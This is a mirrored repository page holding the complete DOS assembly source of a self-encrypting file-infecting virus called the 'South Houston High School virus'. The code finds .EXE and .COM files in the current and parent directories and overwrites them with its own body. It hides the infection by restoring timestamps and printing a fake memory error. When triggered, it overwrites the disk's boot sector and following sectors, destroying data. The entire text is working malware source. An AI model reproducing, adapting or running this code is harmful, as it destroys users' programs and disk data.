mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
239 lines
11 KiB
NASM
239 lines
11 KiB
NASM
; Source code to South Houston High School virus ;
|
||
|
||
codeseg segment
|
||
assume cs:codeseg, ds:codeseg
|
||
org 100h
|
||
|
||
cr equ 13
|
||
lf equ 10
|
||
tab equ 9
|
||
|
||
start:
|
||
call encrypt_decrypt
|
||
jmp random_mutation
|
||
encrypt_val db 0
|
||
|
||
infect_file:
|
||
mov bx,handle ; (648C:01F2=0)
|
||
push bx ; Save handle
|
||
call encrypt_decrypt ; encrypt code
|
||
pop bx ; Restore handle
|
||
mov cx,offset eof-offset start ; Length of code
|
||
mov dx,offset start ; Start of code
|
||
mov ah,40h ; Write to handle BX
|
||
int 21h ; DOS Services ah=function 40h
|
||
; write file cx=bytes, to ds:dx
|
||
call encrypt_decrypt ; decrypt code
|
||
mov al,encrypt_val ; AL= code #
|
||
add al,13 ; add 13
|
||
adc al,0 ; plus carry
|
||
mov encrypt_val,al ; save new value
|
||
ret ; Return
|
||
|
||
|
||
encrypt_decrypt:
|
||
mov bx,offset encrypted ; offset of encrypted
|
||
; code in memory
|
||
mov al,encrypt_val ; encryption value
|
||
or al,al ; 0 ?
|
||
jz skipcryptor ; Don't waste time
|
||
xor_loop: xor byte ptr [bx],al ; modify byte
|
||
inc bx ; next byte, please
|
||
add al,bh ; adjust encryption key
|
||
cmp bx,offset eof ; are we done yet?
|
||
jle xor_loop ; Nope, keep goin'
|
||
skipcryptor: ret ; Yep, bye bye!
|
||
|
||
|
||
|
||
; The code from here on is encrypted until run-time (except in the case of a
|
||
; first-run copy).
|
||
|
||
|
||
encrypted:
|
||
|
||
|
||
exe_filespec db '*.EXE',0
|
||
com_filespec db '*.COM',0
|
||
newdir db '..',0
|
||
fake_msg db 'Program too big to fit in memory',cr,lf,'$'
|
||
virus_msg db cr,lf,tab,'I',39,'m sorry, Dave... but '
|
||
db 'I',39,'m afraid I can',39,'t do that!',cr,lf,cr,lf
|
||
db cr,lf,tab,'Dedicated to the dudes at SHHS'
|
||
db cr,lf,tab,'The BOOT SECTOR Infector ...',cr,lf,'$'
|
||
|
||
random_mutation: mov si,offset fname ; point to fname
|
||
mov di,offset tfname ; point to tfname
|
||
mov cx,13 ; 13 chars
|
||
rep movsb ; copy the string
|
||
|
||
cmp byte ptr encrypt_val,0 ; encryption value
|
||
je install_val ; Jump if equal
|
||
mov ah,2Ch ; Get time
|
||
int 21h ; Call DOS to ^
|
||
cmp dh,55 ; more than 55 seconds?
|
||
jg find_extension ; Yes: don't mutate
|
||
|
||
install_val: or dl,dl ; DL = 0 ?
|
||
jnz skipmutation ; No need to mutate
|
||
skipmutation: mov encrypt_val,dl ; save code number
|
||
|
||
find_extension: mov byte ptr files_found,0 ; Haven't found any yet
|
||
mov byte ptr files_infected,3 ; No more than 3 files
|
||
mov byte ptr success,0 ; No successful tries
|
||
|
||
find_exe: mov cx,27h ; attr: R/O,HID,SYS,ARC
|
||
mov dx,offset exe_filespec ; point to '*.EXE',0
|
||
mov ah,4Eh ; Find first
|
||
int 21h ; DOS Services
|
||
|
||
jc find_com ; No more? Find EXE
|
||
call find_healthy ; Find a healthy file
|
||
|
||
find_com: mov cx,27h ; attr: R/O,HID,SYS,ARC
|
||
mov dx,offset com_filespec ; point to '*.COM',0
|
||
mov ah,4Eh ; Find first match
|
||
int 21h ; DOS Services ah=function 4Eh
|
||
; find 1st filenam match @ds:dx
|
||
jc chdir ; No more? CD ..
|
||
call find_healthy ; Start over
|
||
|
||
chdir: mov dx,offset newdir ; point to '..',0
|
||
mov ah,3Bh ; CHDIR ..
|
||
int 21h ; DOS Services
|
||
jnc find_exe ; Look for EXEs
|
||
jmp exit_virus ;
|
||
|
||
find_healthy: mov bx,80h ; points at DTA
|
||
mov ax,[bx+15h] ; original attribute
|
||
mov orig_attr,ax ; ^
|
||
mov ax,[bx+16h] ; original time stamp
|
||
mov orig_time,ax ; ^
|
||
mov ax,[bx+18h] ; original date stamp
|
||
mov orig_date,ax ; ^
|
||
mov dx,9Eh ; filename
|
||
xor cx,cx ; zero out attributes
|
||
mov ax,4301h ; set attribute
|
||
int 21h ; DOS Services
|
||
|
||
mov ax,3D02h ; Open file read&write
|
||
int 21h ; DOS Services
|
||
mov handle,ax ; save file handle
|
||
mov bx,ax ; place ^ in BX
|
||
mov cx,20 ; read in 20 chars
|
||
mov dx,offset compare_buff ; Points to buffer
|
||
mov ah,3Fh ; Read file
|
||
int 21h ; DOS Services
|
||
|
||
mov bx,offset compare_buff ; Points to buffer
|
||
mov ah,encrypt_val ; Encryption value
|
||
mov [bx+offset encrypt_val-100h],ah ; Fill in the blank
|
||
mov si,100h ; Point to code's start
|
||
mov di,offset compare_buff ; Point to buffer
|
||
|
||
repe cmpsb ; Compare buff to code
|
||
jne healthy ; Didn't match, jump...
|
||
|
||
call close_file ; Close the file
|
||
inc byte ptr files_found ; Found one!
|
||
continue_search: mov ah,4Fh ; Find next
|
||
int 21h ; DOS Services
|
||
jnc find_healthy ; Find more
|
||
no_more_found: ret ; RETurn
|
||
|
||
healthy: mov bx,handle ; (648C:01F2=0)
|
||
mov ah,3Eh ; Close file
|
||
int 21h ; DOS Services
|
||
|
||
mov ax,3D02h ; Open file read&write
|
||
mov dx,9Eh ; Filename is ....
|
||
int 21h ; DOS Services
|
||
|
||
mov si,dx ; Point to filename
|
||
mov di,offset fname ; Point to fname
|
||
mov cx,13 ; Copy 13 chars
|
||
rep movsb ; Copy filename
|
||
|
||
mov handle,ax ; save handle
|
||
call infect_file ; infect file
|
||
call close_file ; close file
|
||
inc byte ptr success ; Success!!!
|
||
dec byte ptr files_infected ; We got one!
|
||
jz exit_virus ; Jump if zero
|
||
jmp short continue_search ; Continue the search
|
||
|
||
close_file: mov bx,handle ; get handle
|
||
mov cx,orig_time ; get original time
|
||
mov dx,orig_date ; get original date
|
||
|
||
mov ax,5701h ; set date/time stamp
|
||
int 21h ; DOS Services
|
||
|
||
mov ah,3Eh ; close file
|
||
int 21h ; DOS Services
|
||
|
||
mov cx,orig_attr ; get original attrib
|
||
mov ax,4301h ; get/set attribute
|
||
mov dx,9Eh ; point to filename
|
||
int 21h ; DOS Services
|
||
ret ; RETurn
|
||
|
||
exit_virus: cmp byte ptr files_found,8 ; Found at least 8?
|
||
jl print_fake ; No, keep low profile
|
||
cmp byte ptr success,0 ; Got anything?
|
||
jg print_fake ; Yep, cover it up
|
||
|
||
mov ah,9 ; Print string
|
||
mov dx,offset virus_msg ; Point to virus msg
|
||
int 21h ; DOS Services
|
||
|
||
mov ah,19h ; Get current disk
|
||
int 21h ; Call DOS to ^
|
||
|
||
mov si,offset tfname ; Point to tfname
|
||
mov di,offset fname ; Point to fname
|
||
mov cx,13 ; Copy 13 chars
|
||
rep movsb ; Copy filename
|
||
|
||
mov bx,offset kbstr ; BX points to message
|
||
xor dx,dx ; Start at boot sector
|
||
mov cx,35 ; 35 sectors
|
||
int 26h ; Absolute disk write, drive al
|
||
jmp short terminate ; End of the line!
|
||
|
||
print_fake: mov ah,9 ; Print string
|
||
mov dx,offset fake_msg ; DX points to fake msg
|
||
int 21h ; DOS Services
|
||
|
||
terminate:
|
||
mov ax,305h ; Set typematic rate
|
||
mov bx,31Fh ; Long delay, fast reps
|
||
int 16h ; Keyboard i/o call ^^
|
||
int 20h ; Terminate process
|
||
|
||
kbstr: db 'Killed by: ' ;Killed by
|
||
fname: db '1st run copy',0 ;13 spaces for filename
|
||
ekbstr: db '$' ;Terminator for string
|
||
|
||
eof:
|
||
|
||
;These variables are for temporary use only and are therefore excluded from
|
||
;encryption and writing to the disk (this saves time and space).
|
||
|
||
compare_buff db 20 dup (?)
|
||
files_found db ?
|
||
files_infected db ?
|
||
orig_time dw ?
|
||
orig_date dw ?
|
||
orig_attr dw ?
|
||
handle dw ?
|
||
success db ?
|
||
|
||
tfname: db 13 dup (?)
|
||
|
||
codeseg ends
|
||
|
||
|
||
|
||
end start
|
||
|